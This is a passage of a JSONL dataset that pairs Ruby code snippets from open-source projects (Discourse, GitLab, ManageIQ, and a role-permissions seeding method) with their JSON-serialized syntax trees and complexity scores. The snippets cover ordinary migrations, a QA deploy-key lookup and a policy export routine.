children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"audit_logs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alerts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"billing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sso\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eula\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assistant\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_role\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"policies\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connector_definition\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_record\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_run\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_app\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"audit_logs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alerts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"billing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sso\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eula\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assistant\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"viewer_role\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"policies\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"permissions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connector_definition\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_record\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_run\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_app\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"audit_logs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alerts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"billing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sso\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eula\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assistant\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}]}]}]}]}","id":"2609a4be-1203-4506-bc16-cc6561a57147"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20200116140132_rename_reply_id_column.rb","start_line":4,"raw_source":"def up\n    add_column :post_replies, :reply_post_id, :integer\n\n    execute <<~SQL\n      UPDATE post_replies\n      SET reply_post_id = reply_id\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"post_replies\"]},{\"type\":\"sym\",\"children\":[\"reply_post_id\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE post_replies\\n\"]},{\"type\":\"str\",\"children\":[\"SET reply_post_id = reply_id\\n\"]}]}]}]}]}","id":"cc290a63-5901-495c-bf48-7b073b6398a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/deploy_key.rb","start_line":70,"raw_source":"def find_id\n        id\n      rescue NoValueError\n        found_key = auto_paginated_response(request_url(\"/projects/#{project.id}/deploy_keys\", per_page: '100'))\n          .find { |keys| keys[:key].strip == @key.strip }\n\n        return found_key.fetch(:id) if found_key\n\n        raise ResourceNotFoundError\n      end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoValueError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found_key\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auto_paginated_response\",{\"type\":\"send\",\"children\":[null,\"request_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/deploy_keys\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"str\",\"children\":[\"100\"]}]}]}]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"strip\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@key\"]},\"strip\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_key\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_key\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ResourceNotFoundError\"]}]}]}]},null]}]}","id":"c3717d7f-1d1a-438d-b010-0562c0bbd33a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/task_helpers/exports/policies.rb","start_line":4,"raw_source":"def export(options = {})\n        export_dir = options[:directory]\n\n        policies = options[:all] ? MiqPolicy.all : MiqPolicy.where(:read_only => [false, nil])\n\n        policies.order(:id).each do |policy|\n          $log.info(\"Exporting Policy: #{policy.description} (ID: #{policy.id})\")\n\n          filename = Exports.safe_filename(policy.description, options[:keep_spaces])\n          File.write(\"#{export_dir}/#{filename}.yaml\", policy.export_to_yaml)\n        end\n      